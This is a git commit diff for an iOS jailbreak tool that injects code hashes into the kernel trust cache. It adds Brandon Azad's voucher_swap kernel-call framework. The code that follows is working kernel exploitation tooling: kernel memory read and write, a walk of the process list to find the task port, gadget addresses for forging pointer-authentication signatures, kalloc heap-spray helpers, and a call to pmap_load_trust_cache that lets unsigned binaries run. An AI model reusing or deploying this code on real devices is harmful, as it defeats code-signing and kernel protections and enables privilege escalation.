summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorPwn20wnd <pwn20wndstuff@gmail.com>2019-03-09 23:30:26 +0300
committerSam Bingner <sam@bingner.com>2019-03-20 23:27:12 -1000
commit7bca6ad19e54e2edc4ec9cfa10da20a26e294334 (patch)
tree9805a17e7d5ecdedc2aeb0a0328c6b2df1b26828
parent4abbd1f554d3f1a185fd7079ee84944f1b0a355b (diff)
Merge pwn's changes to support arm64e via rebase
-rw-r--r--.gitignore2
-rw-r--r--Makefile8
-rw-r--r--inject.h2
-rw-r--r--inject.m10
-rw-r--r--kern_funcs.c33
-rw-r--r--kern_funcs.h28
-rwxr-xr-xkernel_call/IOKitLib.h76
-rwxr-xr-xkernel_call/ipc_port.h52
-rwxr-xr-xkernel_call/kc_parameters.c188
-rwxr-xr-xkernel_call/kc_parameters.h92
-rwxr-xr-xkernel_call/kernel_alloc.c598
-rwxr-xr-xkernel_call/kernel_alloc.h291
-rwxr-xr-xkernel_call/kernel_call.c44
-rwxr-xr-xkernel_call/kernel_call.h93
-rwxr-xr-xkernel_call/kernel_memory.c129
-rwxr-xr-xkernel_call/kernel_memory.h132
-rwxr-xr-xkernel_call/kernel_slide.c88
-rwxr-xr-xkernel_call/kernel_slide.h42
-rwxr-xr-xkernel_call/log.c37
-rwxr-xr-xkernel_call/log.h57
-rwxr-xr-xkernel_call/mach_vm.h46
-rwxr-xr-xkernel_call/pac.c272
-rwxr-xr-xkernel_call/pac.h48
-rwxr-xr-xkernel_call/parameters.c212
-rwxr-xr-xkernel_call/parameters.h130
-rwxr-xr-xkernel_call/platform.c54
-rwxr-xr-xkernel_call/platform.h99
-rwxr-xr-xkernel_call/platform_match.c346
-rwxr-xr-xkernel_call/platform_match.h62
-rwxr-xr-xkernel_call/user_client.c363
-rwxr-xr-xkernel_call/user_client.h91
-rw-r--r--main.m35
m---------patchfinder640
-rw-r--r--patchfinder64.c1678
-rw-r--r--patchfinder64.h55
35 files changed, 3747 insertions, 1746 deletions
diff --git a/.gitignore b/.gitignore
index 031616e..c8d5fdf 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,5 @@
.theos
obj
packages
+.DS_Store
+
diff --git a/Makefile b/Makefile
index a66032e..86c2eb2 100644
--- a/Makefile
+++ b/Makefile
@@ -1,13 +1,13 @@
-ARCHS ?= arm64
+ARCHS ?= arm64 arm64e
target ?= iphone:latest:11.0
CFLAGS = -Iinclude -Wno-error=unused-variable -Wno-error=unused-function
include $(THEOS)/makefiles/common.mk
TOOL_NAME = inject
inject_CODESIGN_FLAGS = -Sentitlements.xml
-inject_CFLAGS += -I./patchfinder64 -Wno-unused-variable -Wno-unused-function
+inject_CFLAGS += -I. -I./patchfinder64 -I./kernel_call -Wno-unused-variable -Wno-unused-function -Wno-unused-label
inject_LIBRARIES = mis
-inject_FRAMEWORKS = IOKit Security
-inject_FILES = main.m inject.m patchfinder64/patchfinder64.c kern_funcs.c
+inject_FRAMEWORKS = Foundation CoreFoundation IOKit Security
+inject_FILES = main.m inject.m patchfinder64/patchfinder64.c kern_funcs.c kernel_call/kc_parameters.c kernel_call/kernel_alloc.c kernel_call/kernel_call.c kernel_call/kernel_memory.c kernel_call/kernel_slide.c kernel_call/log.c kernel_call/pac.c kernel_call/parameters.c kernel_call/platform_match.c kernel_call/platform.c kernel_call/user_client.c
include $(THEOS_MAKE_PATH)/tool.mk
diff --git a/inject.h b/inject.h
index 14c45aa..3f80b33 100644
--- a/inject.h
+++ b/inject.h
@@ -11,7 +11,7 @@
#include <Foundation/Foundation.h>
NSString *cdhashFor(NSString *file);
-int injectTrustCache(NSArray <NSString*> *files, uint64_t trust_chain);
+int injectTrustCache(NSArray <NSString*> *files, uint64_t trust_chain, int (*pmap_load_trust_cache)(uint64_t, size_t));
bool isInAMFIStaticCache(NSString *path);
#endif
diff --git a/inject.m b/inject.m
index 64eacd2..5f39e2b 100644
--- a/inject.m
+++ b/inject.m
@@ -150,15 +150,15 @@ NSArray *filteredHashes(uint64_t trust_chain, NSDictionary *hashes) {
#endif
}
-int injectTrustCache(NSArray <NSString*> *files, uint64_t trust_chain) {
+int injectTrustCache(NSArray <NSString*> *files, uint64_t trust_chain, int (*pmap_load_trust_cache)(uint64_t, size_t))
+{
@autoreleasepool {
struct trust_mem mem;
uint64_t kernel_trust = 0;
mem.next = rk64(trust_chain);
mem.count = 0;
- *(uint64_t *)&mem.uuid[0] = 0xabadbabeabadbabe;
- *(uint64_t *)&mem.uuid[8] = 0xabadbabeabadbabe;
+ arc4random_buf(&mem.uuid, 16);
NSMutableDictionary *hashes = [NSMutableDictionary new];
int errors=0;
@@ -190,7 +190,7 @@ int injectTrustCache(NSArray <NSString*> *files, uint64_t trust_chain) {
return errors;
}
- size_t length = (sizeof(mem) + hashesToInject * TRUST_CDHASH_LEN + 0xFFFF) & ~0xFFFF;
+ size_t length = (sizeof(mem) + hashesToInject * TRUST_CDHASH_LEN + 0x3FFF) & ~0x3FFF;
char *buffer = malloc(hashesToInject * TRUST_CDHASH_LEN);
if (buffer == NULL) {
fprintf(stderr, "Unable to allocate memory for cdhashes: %s\n", strerror(errno));
@@ -206,7 +206,7 @@ int injectTrustCache(NSArray <NSString*> *files, uint64_t trust_chain) {
mem.count = hashesToInject;
kwrite(kernel_trust, &mem, sizeof(mem));
kwrite(kernel_trust + sizeof(mem), buffer, mem.count * TRUST_CDHASH_LEN);
- wk64(trust_chain, kernel_trust);
+ pmap_load_trust_cache(kernel_trust, length);
return (int)errors;
}
diff --git a/kern_funcs.c b/kern_funcs.c
index a1f03c8..553d25c 100644
--- a/kern_funcs.c
+++ b/kern_funcs.c
@@ -19,7 +19,14 @@
#include "patchfinder64.h"
#include <kmem.h>
#include "CSCommon.h"
+#include "kern_funcs.h"
+#include "kernel_call.h"
+#include "parameters.h"
+#include "kc_parameters.h"
+#include "kernel_memory.h"
+offsets_t offs;
+uint64_t kernel_base;
static mach_port_t tfp0=MACH_PORT_NULL;
size_t kread(uint64_t where, void *p, size_t size);
size_t kwrite(uint64_t where, const void *p, size_t size);
@@ -117,3 +124,29 @@ size_t kwrite(uint64_t where, const void *p, size_t size)
}
return offset;
}
+
+uint64_t task_self_addr() {
+ uint64_t kernproc = rk64(rk64(GETOFFSET(kernel_task)) + OFFSET(task, bsd_info));
+ uint64_t proc = kernproc;
+ pid_t our_pid = getpid();
+ uint64_t our_proc = 0;
+ while (proc) {
+ if (rk32(proc + OFFSET(proc, p_pid)) == our_pid) {
+ our_proc = proc;
+ break;
+ }
+ proc = rk64(proc + OFFSET(proc, p_list));
+ }
+ uint64_t task_addr = rk64(our_proc + OFFSET(proc, task));
+ uint64_t itk_space = rk64(task_addr + OFFSET(task, itk_space));
+ uint64_t is_table = rk64(itk_space + OFFSET(ipc_space, is_table));
+ mach_port_t port = mach_task_self();
+ uint32_t port_index = port >> 8;
+ const int sizeof_ipc_entry_t = SIZE(ipc_entry);
+ uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
+ return port_addr;
+}
+
+int _pmap_load_trust_cache(uint64_t kernel_trust, size_t length) {
+ return (int)kernel_call_7(GETOFFSET(pmap_load_trust_cache), 3, kernel_trust, length, 0);
+}
diff --git a/kern_funcs.h b/kern_funcs.h
index 83bb80c..e6633a7 100644
--- a/kern_funcs.h
+++ b/kern_funcs.h
@@ -1,6 +1,32 @@
#ifndef _KERN_FUNCS_H_
#define _KERN_FUNCS_H_
+#define SETOFFSET(offset, val) (offs.offset = val)
+#define GETOFFSET(offset) offs.offset
+
+typedef struct {
+ uint64_t trustcache;
+ uint64_t kernel_task;
+ uint64_t pmap_load_trust_cache;
+ uint64_t paciza_pointer__l2tp_domain_module_start;
+ uint64_t paciza_pointer__l2tp_domain_module_stop;
+ uint64_t l2tp_domain_inited;
+ uint64_t sysctl__net_ppp_l2tp;
+ uint64_t sysctl_unregister_oid;
+ uint64_t mov_x0_x4__br_x5;
+ uint64_t mov_x9_x0__br_x1;
+ uint64_t mov_x10_x3__br_x6;
+ uint64_t kernel_forge_pacia_gadget;
+ uint64_t kernel_forge_pacda_gadget;
+ uint64_t IOUserClient__vtable;
+ uint64_t IORegistryEntry__getRegistryEntryID;
+ uint64_t pmap_loaded_trust_caches;
+} offsets_t;
+
+extern offsets_t offs;
+extern uint64_t kernel_base;
+extern uint64_t kernel_slide;
+
void set_tfp0(mach_port_t port);
void wk32(uint64_t kaddr, uint32_t val);
void wk64(uint64_t kaddr, uint64_t val);
@@ -9,5 +35,7 @@ uint64_t rk64(uint64_t kaddr);
uint64_t kmem_alloc(uint64_t size);
size_t kread(uint64_t where, void *p, size_t size);
size_t kwrite(uint64_t where, const void *p, size_t size);
+uint64_t task_self_addr(void);
+int _pmap_load_trust_cache(uint64_t kernel_trust, size_t length);
#endif // _KERN_FUNCS_H_
diff --git a/kernel_call/IOKitLib.h b/kernel_call/IOKitLib.h
new file mode 100755
index 0000000..fdefd8d
--- /dev/null
+++ b/kernel_call/IOKitLib.h
@@ -0,0 +1,76 @@
+/*
+ * IOKitLib.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__IOKITLIB_H_
+#define VOUCHER_SWAP__IOKITLIB_H_
+
+#include <CoreFoundation/CoreFoundation.h>
+#include <mach/mach.h>
+
+typedef mach_port_t io_object_t;
+typedef io_object_t io_connect_t;
+typedef io_object_t io_iterator_t;
+typedef io_object_t io_service_t;
+
+extern const mach_port_t kIOMasterPortDefault;
+
+kern_return_t
+IOObjectRelease(
+ io_object_t object );
+
+io_object_t
+IOIteratorNext(
+ io_iterator_t iterator );
+
+io_service_t
+IOServiceGetMatchingService(
+ mach_port_t masterPort,
+ CFDictionaryRef matching CF_RELEASES_ARGUMENT);
+
+kern_return_t
+IOServiceGetMatchingServices(
+ mach_port_t masterPort,
+ CFDictionaryRef matching CF_RELEASES_ARGUMENT,
+ io_iterator_t * existing );
+
+kern_return_t
+IOServiceOpen(
+ io_service_t service,
+ task_port_t owningTask,
+ uint32_t type,
+ io_connect_t * connect );
+
+kern_return_t
+IOServiceClose(
+ io_connect_t connect );
+
+kern_return_t
+IOConnectCallMethod(
+ mach_port_t connection, // In
+ uint32_t selector, // In
+ const uint64_t *input, // In
+ uint32_t inputCnt, // In
+ const void *inputStruct, // In
+ size_t inputStructCnt, // In
+ uint64_t *output, // Out
+ uint32_t *outputCnt, // In/Out
+ void *outputStruct, // Out
+ size_t *outputStructCnt) // In/Out
+AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
+
+kern_return_t
+IOConnectTrap6(io_connect_t connect,
+ uint32_t index,
+ uintptr_t p1,
+ uintptr_t p2,
+ uintptr_t p3,
+ uintptr_t p4,
+ uintptr_t p5,
+ uintptr_t p6);
+
+CFMutableDictionaryRef
+IOServiceMatching(
+ const char * name ) CF_RETURNS_RETAINED;
+
+#endif
diff --git a/kernel_call/ipc_port.h b/kernel_call/ipc_port.h
new file mode 100755
index 0000000..c48e20d
--- /dev/null
+++ b/kernel_call/ipc_port.h
@@ -0,0 +1,52 @@
+/*
+ * ipc_port.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__IPC_PORT_H_
+#define VOUCHER_SWAP__IPC_PORT_H_
+
+#include <mach/mach.h>
+#include <stdint.h>
+
+// ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
+
+#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
+
+#define WQT_QUEUE 0x2
+
+union waitq_flags {
+ struct {
+ uint32_t /* flags */
+ waitq_type:2, /* only public field */
+ waitq_fifo:1, /* fifo wakeup policy? */
+ waitq_prepost:1, /* waitq supports prepost? */
+ waitq_irq:1, /* waitq requires interrupts disabled */
+ waitq_isvalid:1, /* waitq structure is valid */
+ waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
+ waitq_eventmask:_EVENT_MASK_BITS;
+ };
+ uint32_t flags;
+};
+
+// ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
+
+#define IKOT_NONE 0
+#define IKOT_TASK 2
+
+// ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
+
+#define IO_BITS_KOTYPE 0x00000fff /* used by the object */
+#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
+
+#define io_makebits(active, otype, kotype) \
+ (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
+
+#define IOT_PORT 0
+
+// ---- Custom definitions ------------------------------------------------------------------------
+
+#define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
+
+// ------------------------------------------------------------------------------------------------
+
+#endif
diff --git a/kernel_call/kc_parameters.c b/kernel_call/kc_parameters.c
new file mode 100755
index 0000000..76e483e
--- /dev/null
+++ b/kernel_call/kc_parameters.c
@@ -0,0 +1,188 @@
+/*
+ * kernel_call/kc_parameters.c
+ * Brandon Azad
+ */
+#define KERNEL_CALL_PARAMETERS_EXTERN
+#include "kc_parameters.h"
+
+#include "kernel_slide.h"
+#include "log.h"
+#include "platform.h"
+#include "platform_match.h"
+#include "kern_funcs.h"
+
+// ---- Initialization routines -------------------------------------------------------------------
+
+// A struct describing an initialization.
+struct initialization {
+ const char *devices;
+ const char *builds;
+ void (*init)(void);
+};
+
+// Run initializations matching this platform.
+static size_t
+run_initializations(struct initialization *inits, size_t count) {
+ size_t match_count = 0;
+ for (size_t i = 0; i < count; i++) {
+ struct initialization *init = &inits[i];
+ if (platform_matches(init->devices, init->builds)) {
+ init->init();
+ match_count++;
+ }
+ }
+ return match_count;
+}
+
+// A helper macro to get the number of elements in a static array.
+#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
+
+// ---- Offset initialization ---------------------------------------------------------------------
+
+static void
+offsets__iphone11_8__16C50() {
+ OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
+
+ SIZE(IOExternalTrap) = 0x18;
+ OFFSET(IOExternalTrap, object) = 0;
+ OFFSET(IOExternalTrap, function) = 8;
+ OFFSET(IOExternalTrap, offset) = 16;
+
+ OFFSET(IORegistryEntry, reserved) = 16;
+ OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
+
+ VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
+ VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
+}
+
+// A list of offset initializations by platform.
+static struct initialization offsets[] = {
+ { "*", "*", offsets__iphone11_8__16C50 },
+};
+
+// ---- Address initialization --------------------------------------------------------------------
+
+#define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
+
+static void
+addresses__iphone11_2__16A366() {
+ ADDRESS(paciza_pointer__l2tp_domain_module_start) = GETOFFSET(paciza_pointer__l2tp_domain_module_start);
+ ADDRESS(paciza_pointer__l2tp_domain_module_stop) = GETOFFSET(paciza_pointer__l2tp_domain_module_stop);
+ ADDRESS(l2tp_domain_inited) = GETOFFSET(l2tp_domain_inited);
+ ADDRESS(sysctl__net_ppp_l2tp) = GETOFFSET(sysctl__net_ppp_l2tp);
+ ADDRESS(sysctl_unregister_oid) = GETOFFSET(sysctl_unregister_oid);
+ ADDRESS(mov_x0_x4__br_x5) = GETOFFSET(mov_x0_x4__br_x5);
+ ADDRESS(mov_x9_x0__br_x1) = GETOFFSET(mov_x9_x0__br_x1);
+ ADDRESS(mov_x10_x3__br_x6) = GETOFFSET(mov_x10_x3__br_x6);
+ ADDRESS(kernel_forge_pacia_gadget) = GETOFFSET(kernel_forge_pacia_gadget);
+ ADDRESS(kernel_forge_pacda_gadget) = GETOFFSET(kernel_forge_pacda_gadget);
+ SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
+ OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
+ OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
+ OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
+ ADDRESS(IOUserClient__vtable) = GETOFFSET(IOUserClient__vtable);
+ ADDRESS(IORegistryEntry__getRegistryEntryID) = GETOFFSET(IORegistryEntry__getRegistryEntryID);
+}
+
+// A list of address initializations by platform.
+static struct initialization addresses[] = {
+ { "*", "16A366-16D5024a", addresses__iphone11_2__16A366 },
+};
+
+// ---- PAC initialization ------------------------------------------------------------------------
+
+#if __arm64e__
+
+static void
+pac__iphone11_8__16C50() {
+ INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
+ 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
+ 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
+ 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
+ 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
+ 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
+ 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
+ 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
+ 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
+ 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
+ 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
+ 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
+ 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
+ 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
+ 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
+ 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
+ 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
+ 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
+ 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
+ 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
+ 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
+ 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
+ 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
+ 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
+ 0x2bcb);
+
+ INIT_VTABLE_PAC_CODES(IODTNVRAM,
+ 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
+ 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
+ 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
+ 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
+ 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
+ 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
+ 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
+ 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
+ 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
+ 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
+ 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
+ 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
+ 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
+ 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
+ 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
+ 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
+ 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
+ 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
+ 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
+ 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
+ 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428,
+ 0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584,
+ 0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201,
+ 0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7,
+ 0xb1db, 0x7d35, 0xb06d, 0xcf08);
+}
+
+// A list of PAC initializations by platform.
+static struct initialization pac_codes[] = {
+ { "*", "*", pac__iphone11_8__16C50 },
+};
+
+#endif // __arm64e__
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+kernel_call_parameters_init() {
+ bool ok = kernel_slide_init();
+ if (!ok) {
+ return false;
+ }
+ size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
+ if (count < 1) {
+ ERROR("no kernel_call %s for %s %s", "offsets",
+ platform.machine, platform.osversion);
+ return false;
+ }
+ count = run_initializations(addresses, ARRAY_COUNT(addresses));
+ if (count < 1) {
+ ERROR("no kernel_call %s for %s %s", "addresses",
+ platform.machine, platform.osversion);
+ return false;
+ }
+#if __arm64e__
+ count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
+ if (count < 1) {
+ ERROR("no kernel_call %s for %s %s", "PAC codes",
+ platform.machine, platform.osversion);
+ return false;
+ }
+#endif // __arm64e__
+ return true;
+}
diff --git a/kernel_call/kc_parameters.h b/kernel_call/kc_parameters.h
new file mode 100755
index 0000000..ef717a0
--- /dev/null
+++ b/kernel_call/kc_parameters.h
@@ -0,0 +1,92 @@
+/*
+ * kernel_call/kc_parameters.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
+#define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#include "parameters.h"
+
+#ifdef KERNEL_CALL_PARAMETERS_EXTERN
+#define extern KERNEL_CALL_PARAMETERS_EXTERN
+#endif
+
+// A structure describing the PAC codes used as part of the context for signing and verifying
+// virtual method pointers in a vtable.
+struct vtable_pac_codes {
+ size_t count;
+ const uint16_t *codes;
+};
+
+// Generate the name for an offset in a virtual method table.
+#define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
+
+// Generate the name for a list of vtable PAC codes.
+#define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
+
+// A helper macro for INIT_VTABLE_PAC_CODES().
+#define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_
+
+// Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory,
+// we place it in a static variable. Consequently, this macro will produce name conflicts if used
+// outside a function.
+#define INIT_VTABLE_PAC_CODES(class_, ...) \
+ static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \
+ VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \
+ .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \
+ .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \
+ }
+
+extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start);
+extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop);
+extern uint64_t ADDRESS(l2tp_domain_inited);
+extern uint64_t ADDRESS(sysctl__net_ppp_l2tp);
+extern uint64_t ADDRESS(sysctl_unregister_oid);
+extern uint64_t ADDRESS(mov_x0_x4__br_x5);
+extern uint64_t ADDRESS(mov_x9_x0__br_x1);
+extern uint64_t ADDRESS(mov_x10_x3__br_x6);
+extern uint64_t ADDRESS(kernel_forge_pacia_gadget);
+extern uint64_t ADDRESS(kernel_forge_pacda_gadget);
+extern uint64_t ADDRESS(IOUserClient__vtable);
+extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID);
+
+extern size_t SIZE(kernel_forge_pacxa_gadget_buffer);
+extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
+extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
+extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
+
+extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient);
+extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM);
+
+// Parameters for IOAudio2DeviceUserClient.
+extern size_t OFFSET(IOAudio2DeviceUserClient, traps);
+
+// Parameters for IOExternalTrap.
+extern size_t SIZE(IOExternalTrap);
+extern size_t OFFSET(IOExternalTrap, object);
+extern size_t OFFSET(IOExternalTrap, function);
+extern size_t OFFSET(IOExternalTrap, offset);
+
+// Parameters for IORegistryEntry.
+extern size_t OFFSET(IORegistryEntry, reserved);
+extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
+
+// Parameters for IOUserClient.
+extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex);
+extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex);
+
+/*
+ * kernel_call_parameters_init
+ *
+ * Description:
+ * Initialize the addresses used in the kernel_call subsystem.
+ */
+bool kernel_call_parameters_init(void);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/kernel_alloc.c b/kernel_call/kernel_alloc.c
new file mode 100755
index 0000000..09a06cb
--- /dev/null
+++ b/kernel_call/kernel_alloc.c
@@ -0,0 +1,598 @@
+/*
+ * kernel_alloc.c
+ * Brandon Azad
+ */
+#include "kernel_alloc.h"
+
+#include <assert.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+#include "log.h"
+#include "parameters.h"
+#include "platform.h"
+
+// Compute the minimum of 2 values.
+#define min(a, b) ((a) < (b) ? (a) : (b))
+
+size_t
+message_size_for_kalloc_size(size_t kalloc_size) {
+ if (kalloc_size <= kmsg_zone_size) {
+ return 0;
+ }
+ // Thanks Ian!
+ return ((3 * kalloc_size) / 4) - 0x74;
+}
+
+size_t
+kalloc_size_for_message_size(size_t message_size) {
+ if (message_size <= message_size_for_kmsg_zone) {
+ return 0;
+ }
+ return message_size + ((message_size - 28) / 12) * 4 + 164;
+}
+
+size_t
+ipc_kmsg_size_for_message_size(size_t message_size) {
+ if (message_size <= message_size_for_kmsg_zone) {
+ return kmsg_zone_size;
+ }
+ return kalloc_size_for_message_size(message_size);
+}
+
+// A message containing out-of-line ports.
+struct ool_ports_msg {
+ mach_msg_header_t header;
+ mach_msg_body_t body;
+ mach_msg_ool_ports_descriptor_t ool_ports[0];
+};
+
+size_t
+ool_ports_spray_port(mach_port_t holding_port,
+ const mach_port_t *ool_ports, size_t port_count,
+ mach_msg_type_name_t ool_disposition, size_t ool_count,
+ size_t message_size, size_t message_count) {
+ // Calculate the size of each component.
+ struct ool_ports_msg *msg;
+ // Sanity checks.
+ assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size);
+ assert(port_count * ool_count <= max_ool_ports_per_message);
+ assert(message_count <= MACH_PORT_QLIMIT_MAX);
+ // Allocate a message containing the required number of OOL ports descriptors.
+ msg = calloc(1, message_size);
+ assert(msg != NULL);
+ // Trace the kalloc allocations we're about to perform.
+ DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__,
+ ool_count * message_count, port_count * sizeof(uint64_t),
+ message_count, kalloc_size_for_message_size(message_size));
+ // If the user didn't supply any ool_ports, create our own.
+ mach_port_t *alloc_ports = NULL;
+ if (ool_ports == NULL) {
+ alloc_ports = calloc(port_count, sizeof(mach_port_t));
+ assert(alloc_ports != NULL);
+ ool_ports = alloc_ports;
+ }
+ // Populate the message. Each OOL ports descriptor will be a kalloc.
+ msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
+ msg->header.msgh_remote_port = holding_port;
+ msg->header.msgh_size = (mach_msg_size_t) message_size;
+ msg->header.msgh_id = 'ools';
